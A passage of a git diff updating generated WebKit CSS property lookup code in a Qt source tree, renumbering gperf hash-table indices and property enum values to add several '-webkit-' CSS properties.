+       -1,   3,  -1,  -1,  -1,  -1,  -1,  -1,  -1,   4,
+       -1,   5,  -1,  -1,  -1,   6,   7,   8,  -1,  -1,
+        9,  -1,  10,  -1,  11,  12,  13,  14,  -1,  15,
+       16,  -1,  -1,  17,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  18,  -1,  -1,  -1,  -1,  19,  -1,  -1,
+       -1,  -1,  -1,  20,  -1,  -1,  -1,  21,  22,  -1,
+       -1,  -1,  23,  -1,  24,  25,  -1,  -1,  26,  -1,
+       27,  -1,  28,  29,  -1,  30,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  31,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  32,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  33,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  34,  -1,  35,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  36,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  37,  -1,  -1,  38,  -1,  -1,  -1,  -1,  39,
+       -1,  -1,  -1,  -1,  -1,  40,  41,  42,  -1,  -1,
+       -1,  43,  44,  -1,  -1,  -1,  -1,  -1,  45,  -1,
+       46,  -1,  47,  -1,  48,  -1,  -1,  -1,  -1,  49,
+       -1,  -1,  -1,  50,  -1,  51,  -1,  52,  -1,  -1,
+       -1,  -1,  -1,  53,  -1,  54,  -1,  -1,  -1,  -1,
+       55,  56,  -1,  -1,  -1,  57,  -1,  -1,  58,  -1,
+       -1,  -1,  -1,  -1,  59,  -1,  -1,  60,  -1,  -1,
+       -1,  -1,  61,  62,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  63,  -1,  -1,  64,  65,  -1,  66,  -1,  -1,
+       -1,  -1,  67,  -1,  -1,  68,  -1,  -1,  -1,  69,
+       70,  71,  -1,  -1,  -1,  -1,  72,  -1,  -1,  -1,
+       -1,  -1,  73,  74,  75,  -1,  -1,  76,  -1,  -1,
+       -1,  -1,  -1,  77,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  78,  -1,  -1,  79,  -1,  80,  -1,  81,  82,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  83,  84,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  85,  -1,  -1,  86,  87,  88,
+       -1,  -1,  89,  -1,  90,  91,  92,  -1,  93,  -1,
+       -1,  -1,  94,  95,  96,  97,  -1,  98,  99,  -1,
+      100, 101,  -1,  -1,  -1,  -1, 102, 103,  -1,  -1,
+       -1,  -1,  -1,  -1, 104,  -1,  -1,  -1,  -1,  -1,
+      105,  -1,  -1,  -1,  -1, 106,  -1, 107,  -1, 108,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 109, 110,
+       -1,  -1, 111,  -1,  -1,  -1,  -1, 112,  -1,  -1,
+      113,  -1,  -1,  -1, 114,  -1, 115,  -1,  -1, 116,
+       -1, 117,  -1,  -1, 118, 119, 120,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1, 121,  -1,  -1,  -1,  -1,  -1,
+      122,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 123,  -1,
+       -1,  -1,  -1, 124,  -1,  -1, 125, 126, 127, 128,
+      129,  -1,  -1,  -1, 130,  -1,  -1, 131,  -1,  -1,
+      132,  -1, 133,  -1,  -1,  -1, 134, 135, 136,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 137,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 138,  -1,  -1,
+       -1, 139,  -1,  -1, 140, 141, 142, 143,  -1,  -1,
+       -1, 144, 145, 146, 147,  -1, 148,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 149,  -1,  -1, 150, 151,
+       -1,  -1, 152,  -1,  -1,  -1,  -1, 153, 154,  -1,
+       -1,  -1,  -1, 155,  -1,  -1, 156,  -1,  -1,  -1,
+       -1, 157,  -1,  -1, 158,  -1,  -1, 159,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 160,  -1,
+       -1,  -1,  -1,  -1, 161,  -1,  -1,  -1, 162,  -1,
+      163,  -1,  -1, 164,  -1,  -1, 165,  -1,  -1, 166,
+      167,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 168,  -1, 169, 170,  -1,
+       -1,  -1,  -1,  -1, 171, 172,  -1, 173, 174, 175,
+      176,  -1,  -1,  -1, 177,  -1, 178,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 179,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 180,  -1,  -1, 181,  -1,
+       -1,  -1,  -1, 182,  -1,  -1, 183, 184,  -1,  -1,
+       -1, 185,  -1,  -1, 186,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 187,  -1,  -1,
+       -1, 188, 189,  -1,  -1, 190,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 191,  -1,
+       -1,  -1, 192,  -1, 193,  -1,  -1,  -1,  -1, 194,
+       -1,  -1,  -1,  -1,  -1, 195,  -1,  -1,  -1,  -1,
+       -1, 196,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 197,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 198,  -1,  -1, 199,  -1, 200,  -1,  -1,
+      201, 202,  -1, 203, 204,  -1,  -1,  -1,  -1, 205,
+       -1,  -1,  -1, 206,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 207, 208, 209,  -1,  -1, 210,  -1,
+      211,  -1,  -1,  -1,  -1,  -1,  -1, 212,  -1,  -1,
+       -1,  -1,  -1,  -1, 213,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 214,  -1,  -1,  -1,  -1, 215, 216,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 217,  -1,  -1, 218, 219,  -1, 220,
+       -1, 221,  -1,  -1,  -1,  -1,  -1, 222,  -1, 223,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 224, 225,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 226, 227,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 228,  -1,
+      229, 230,  -1, 231, 232,  -1,  -1, 233, 234,  -1,
+       -1, 235,  -1, 236,  -1,  -1, 237,  -1, 238,  -1,
+       -1, 239,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 240,
+       -1, 241,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 242,  -1,  -1,  -1,
+       -1,  -1,  -1, 243,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 244,  -1,  -1,  -1,  -1, 245,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 246,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 247,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 157, 158, 159,  -1,
-       -1,  -1, 160, 161,  -1,  -1, 162, 163, 164,  -1,
-       -1, 165, 166,  -1,  -1,  -1,  -1, 167, 168,  -1,
-       -1,  -1,  -1, 169, 170,  -1,  -1,  -1,  -1, 171,
-       -1,  -1,  -1, 172,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1, 173,  -1,  -1,  -1, 174,  -1,
-      175,  -1,  -1, 176,  -1,  -1,  -1,  -1, 177, 178,
-       -1,  -1, 179, 180,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 181,  -1,  -1,  -1, 182,  -1,  -1, 183,
-      184,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 185,
-       -1,  -1, 186,  -1, 187,  -1,  -1,  -1,  -1, 188,
-      189,  -1,  -1,  -1, 190,  -1,  -1,  -1,  -1,  -1,
-       -1, 191,  -1,  -1,  -1,  -1, 192,  -1, 193, 194,
-      195,  -1,  -1, 196, 197,  -1,  -1,  -1,  -1,  -1,
-      198, 199, 200,  -1,  -1, 201,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 202, 203,  -1,  -1,  -1,  -1,  -1,
-       -1, 204,  -1, 205,  -1,  -1,  -1,  -1,  -1,  -1,
-      206,  -1,  -1,  -1, 207,  -1, 208,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 209,  -1,
-       -1,  -1, 210,  -1, 211,  -1, 212,  -1,  -1, 213,
-       -1,  -1,  -1, 214,  -1,  -1,  -1, 215,  -1,  -1,
-       -1, 216,  -1,  -1,  -1,  -1, 217, 218,  -1,  -1,
-      219, 220,  -1, 221,  -1,  -1, 222,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 223,  -1,  -1, 224,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 225, 226, 227,
-       -1, 228,  -1,  -1,  -1, 229,  -1,  -1,  -1, 230,
-       -1,  -1, 231,  -1,  -1,  -1,  -1,  -1, 232,  -1,
-       -1, 233,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      234,  -1,  -1,  -1,  -1,  -1, 235, 236,  -1,  -1,
-       -1,  -1,  -1,  -1, 237,  -1,  -1,  -1,  -1,  -1,
-       -1, 238,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 239,
-      240, 241,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 248,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1, 249,  -1,  -1,  -1,  -1,  -1,
+       -1, 250,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 242,  -1,  -1,  -1,  -1,  -1, 243,  -1,
-       -1,  -1,  -1,  -1,  -1, 244,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1, 245,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      246,  -1,  -1, 247,  -1,  -1,  -1,  -1,  -1, 248,
-       -1,  -1,  -1,  -1, 249, 250,  -1,  -1,  -1,  -1,
-      251,  -1,  -1, 252,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1, 251,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 253,
-       -1,  -1,  -1,  -1,  -1, 254,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 255,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 256,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1, 257,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 258,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 252,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      253,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 254,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      255,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 256,  -1,  -1,
+       -1,  -1,  -1, 257,  -1, 258,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 259,  -1,  -1,  -1,  -1, 260,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 261,  -1, 262,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 259,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      263,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 264,  -1,
-      265,  -1,  -1,  -1,  -1,  -1,  -1, 266,  -1,  -1,
-       -1,  -1,  -1, 267,  -1,  -1,  -1,  -1,  -1,  -1,
+      260,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 261,  -1,  -1, 262,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      268,  -1,  -1,  -1,  -1,  -1, 269,  -1,  -1,  -1,
+       -1, 263,  -1,  -1, 264,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 265,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 266,  -1,
+       -1,  -1, 267,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 268,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 270,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 271,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 269,  -1,  -1,  -1,  -1,  -1, 270,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 271,  -1,  -1,
+       -1,  -1,  -1,  -1, 272,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 273,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 274,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 272,  -1,  -1,  -1,  -1, 273,  -1,  -1,
+       -1,  -1,  -1, 275,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 276,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 274,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 277,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 275,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 278,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      279,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 276,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 277,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
@@ -956,11 +978,12 @@ findProp (register const char *str, register unsigned int len)
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 280,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 281,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 278,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
@@ -980,7 +1003,20 @@ findProp (register const char *str, register unsigned int len)
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 279
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 282
     };
 
   if (len <= MAX_WORD_LENGTH && len >= MIN_WORD_LENGTH)
@@ -1002,9 +1038,9 @@ findProp (register const char *str, register unsigned int len)
     }
   return 0;
 }
-#line 290 "CSSPropertyNames.gperf"
+#line 293 "CSSPropertyNames.gperf"
 
-static const char * const propertyNameStrings[280] = {
+static const char * const propertyNameStrings[283] = {
 "background",
 "background-attachment",
 "background-clip",
@@ -1148,6 +1184,7 @@ static const char * const propertyNameStrings[280] = {
 "-webkit-animation-delay",
 "-webkit-animation-direction",
 "-webkit-animation-duration",
+"-webkit-animation-fill-mode",
 "-webkit-animation-iteration-count",
 "-webkit-animation-name",
 "-webkit-animation-play-state",
@@ -1175,6 +1212,7 @@ static const char * const propertyNameStrings[280] = {
 "-webkit-box-reflect",
 "-webkit-box-shadow",
 "-webkit-box-sizing",
+"-webkit-color-correction",
 "-webkit-column-break-after",
 "-webkit-column-break-before",
 "-webkit-column-break-inside",
@@ -1245,6 +1283,7 @@ static const char * const propertyNameStrings[280] = {
 "-webkit-user-modify",
 "-webkit-user-select",
 "-webkit-variable-declaration-block",
+"-webkit-dashboard-region",
 "clip-path",
 "clip-rule",
 "mask",
@@ -1284,7 +1323,7 @@ static const char * const propertyNameStrings[280] = {
 "kerning",
 "text-anchor",
 "writing-mode",
-"-webkit-shadow",
+"-webkit-svg-shadow",
 };
 const char* getPropertyName(CSSPropertyID id)
 {
diff --git a/src/3rdparty/webkit/WebCore/generated/CSSPropertyNames.h b/src/3rdparty/webkit/WebCore/generated/CSSPropertyNames.h
index 8957af8..f758781 100644
--- a/src/3rdparty/webkit/WebCore/generated/CSSPropertyNames.h
+++ b/src/3rdparty/webkit/WebCore/generated/CSSPropertyNames.h
@@ -148,147 +148,150 @@ enum CSSPropertyID {
     CSSPropertyWebkitAnimationDelay = 1141,
     CSSPropertyWebkitAnimationDirection = 1142,
     CSSPropertyWebkitAnimationDuration = 1143,
-    CSSPropertyWebkitAnimationIterationCount = 1144,
-    CSSPropertyWebkitAnimationName = 1145,
-    CSSPropertyWebkitAnimationPlayState = 1146,
-    CSSPropertyWebkitAnimationTimingFunction = 1147,
-    CSSPropertyWebkitAppearance = 1148,
-    CSSPropertyWebkitBackfaceVisibility = 1149,
-    CSSPropertyWebkitBackgroundClip = 1150,
-    CSSPropertyWebkitBackgroundComposite = 1151,
-    CSSPropertyWebkitBackgroundOrigin = 1152,
-    CSSPropertyWebkitBackgroundSize = 1153,
-    CSSPropertyWebkitBinding = 1154,
-    CSSPropertyWebkitBorderFit = 1155,
-    CSSPropertyWebkitBorderHorizontalSpacing = 1156,
-    CSSPropertyWebkitBorderImage = 1157,
-    CSSPropertyWebkitBorderRadius = 1158,
-    CSSPropertyWebkitBorderVerticalSpacing = 1159,
-    CSSPropertyWebkitBoxAlign = 1160,
-    CSSPropertyWebkitBoxDirection = 1161,
-    CSSPropertyWebkitBoxFlex = 1162,
-    CSSPropertyWebkitBoxFlexGroup = 1163,
-    CSSPropertyWebkitBoxLines = 1164,
-    CSSPropertyWebkitBoxOrdinalGroup = 1165,
-    CSSPropertyWebkitBoxOrient = 1166,
-    CSSPropertyWebkitBoxPack = 1167,
-    CSSPropertyWebkitBoxReflect = 1168,
-    CSSPropertyWebkitBoxShadow = 1169,
-    CSSPropertyWebkitBoxSizing = 1170,
-    CSSPropertyWebkitColumnBreakAfter = 1171,
-    CSSPropertyWebkitColumnBreakBefore = 1172,
-    CSSPropertyWebkitColumnBreakInside = 1173,
-    CSSPropertyWebkitColumnCount = 1174,
-    CSSPropertyWebkitColumnGap = 1175,
-    CSSPropertyWebkitColumnRule = 1176,
-    CSSPropertyWebkitColumnRuleColor = 1177,
-    CSSPropertyWebkitColumnRuleStyle = 1178,
-    CSSPropertyWebkitColumnRuleWidth = 1179,
-    CSSPropertyWebkitColumnWidth = 1180,
-    CSSPropertyWebkitColumns = 1181,
-    CSSPropertyWebkitFontSizeDelta = 1182,
-    CSSPropertyWebkitFontSmoothing = 1183,
-    CSSPropertyWebkitHighlight = 1184,
-    CSSPropertyWebkitLineBreak = 1185,
-    CSSPropertyWebkitLineClamp = 1186,
-    CSSPropertyWebkitMarginBottomCollapse = 1187,
-    CSSPropertyWebkitMarginCollapse = 1188,
-    CSSPropertyWebkitMarginStart = 1189,
-    CSSPropertyWebkitMarginTopCollapse = 1190,
-    CSSPropertyWebkitMarquee = 1191,
-    CSSPropertyWebkitMarqueeDirection = 1192,
-    CSSPropertyWebkitMarqueeIncrement = 1193,
-    CSSPropertyWebkitMarqueeRepetition = 1194,
-    CSSPropertyWebkitMarqueeSpeed = 1195,
-    CSSPropertyWebkitMarqueeStyle = 1196,
-    CSSPropertyWebkitMask = 1197,
-    CSSPropertyWebkitMaskAttachment = 1198,
-    CSSPropertyWebkitMaskBoxImage = 1199,
-    CSSPropertyWebkitMaskClip = 1200,
-    CSSPropertyWebkitMaskComposite = 1201,
-    CSSPropertyWebkitMaskImage = 1202,
-    CSSPropertyWebkitMaskOrigin = 1203,
-    CSSPropertyWebkitMaskPosition = 1204,
-    CSSPropertyWebkitMaskPositionX = 1205,
-    CSSPropertyWebkitMaskPositionY = 1206,
-    CSSPropertyWebkitMaskRepeat = 1207,
-    CSSPropertyWebkitMaskRepeatX = 1208,
-    CSSPropertyWebkitMaskRepeatY = 1209,
-    CSSPropertyWebkitMaskSize = 1210,
-    CSSPropertyWebkitMatchNearestMailBlockquoteColor = 1211,
-    CSSPropertyWebkitNbspMode = 1212,
-    CSSPropertyWebkitPaddingStart = 1213,
-    CSSPropertyWebkitPerspective = 1214,
-    CSSPropertyWebkitPerspectiveOrigin = 1215,
-    CSSPropertyWebkitPerspectiveOriginX = 1216,
-    CSSPropertyWebkitPerspectiveOriginY = 1217,
-    CSSPropertyWebkitRtlOrdering = 1218,
-    CSSPropertyWebkitTextDecorationsInEffect = 1219,
-    CSSPropertyWebkitTextFillColor = 1220,
-    CSSPropertyWebkitTextSecurity = 1221,
-    CSSPropertyWebkitTextSizeAdjust = 1222,
-    CSSPropertyWebkitTextStroke = 1223,
-    CSSPropertyWebkitTextStrokeColor = 1224,
-    CSSPropertyWebkitTextStrokeWidth = 1225,
-    CSSPropertyWebkitTransform = 1226,
-    CSSPropertyWebkitTransformOrigin = 1227,
-    CSSPropertyWebkitTransformOriginX = 1228,
-    CSSPropertyWebkitTransformOriginY = 1229,
-    CSSPropertyWebkitTransformOriginZ = 1230,
-    CSSPropertyWebkitTransformStyle = 1231,
-    CSSPropertyWebkitTransition = 1232,
-    CSSPropertyWebkitTransitionDelay = 1233,
-    CSSPropertyWebkitTransitionDuration = 1234,
-    CSSPropertyWebkitTransitionProperty = 1235,
-    CSSPropertyWebkitTransitionTimingFunction = 1236,
-    CSSPropertyWebkitUserDrag = 1237,
-    CSSPropertyWebkitUserModify = 1238,
-    CSSPropertyWebkitUserSelect = 1239,
-    CSSPropertyWebkitVariableDeclarationBlock = 1240,
-    CSSPropertyClipPath = 1241,
-    CSSPropertyClipRule = 1242,
-    CSSPropertyMask = 1243,
-    CSSPropertyEnableBackground = 1244,
-    CSSPropertyFilter = 1245,
-    CSSPropertyFloodColor = 1246,
-    CSSPropertyFloodOpacity = 1247,
-    CSSPropertyLightingColor = 1248,
-    CSSPropertyStopColor = 1249,
-    CSSPropertyStopOpacity = 1250,
-    CSSPropertyColorInterpolation = 1251,
-    CSSPropertyColorInterpolationFilters = 1252,
-    CSSPropertyColorProfile = 1253,
-    CSSPropertyColorRendering = 1254,
-    CSSPropertyFill = 1255,
-    CSSPropertyFillOpacity = 1256,
-    CSSPropertyFillRule = 1257,
-    CSSPropertyImageRendering = 1258,
-    CSSPropertyMarker = 1259,
-    CSSPropertyMarkerEnd = 1260,
-    CSSPropertyMarkerMid = 1261,
-    CSSPropertyMarkerStart = 1262,
-    CSSPropertyShapeRendering = 1263,
-    CSSPropertyStroke = 1264,
-    CSSPropertyStrokeDasharray = 1265,
-    CSSPropertyStrokeDashoffset = 1266,
-    CSSPropertyStrokeLinecap = 1267,
-    CSSPropertyStrokeLinejoin = 1268,
-    CSSPropertyStrokeMiterlimit = 1269,
-    CSSPropertyStrokeOpacity = 1270,
-    CSSPropertyStrokeWidth = 1271,
-    CSSPropertyAlignmentBaseline = 1272,
-    CSSPropertyBaselineShift = 1273,
-    CSSPropertyDominantBaseline = 1274,
-    CSSPropertyGlyphOrientationHorizontal = 1275,
-    CSSPropertyGlyphOrientationVertical = 1276,
-    CSSPropertyKerning = 1277,
-    CSSPropertyTextAnchor = 1278,
-    CSSPropertyWritingMode = 1279,
-    CSSPropertyWebkitShadow = 1280,
+    CSSPropertyWebkitAnimationFillMode = 1144,
+    CSSPropertyWebkitAnimationIterationCount = 1145,
+    CSSPropertyWebkitAnimationName = 1146,
+    CSSPropertyWebkitAnimationPlayState = 1147,
+    CSSPropertyWebkitAnimationTimingFunction = 1148,
+    CSSPropertyWebkitAppearance = 1149,
+    CSSPropertyWebkitBackfaceVisibility = 1150,
+    CSSPropertyWebkitBackgroundClip = 1151,
+    CSSPropertyWebkitBackgroundComposite = 1152,
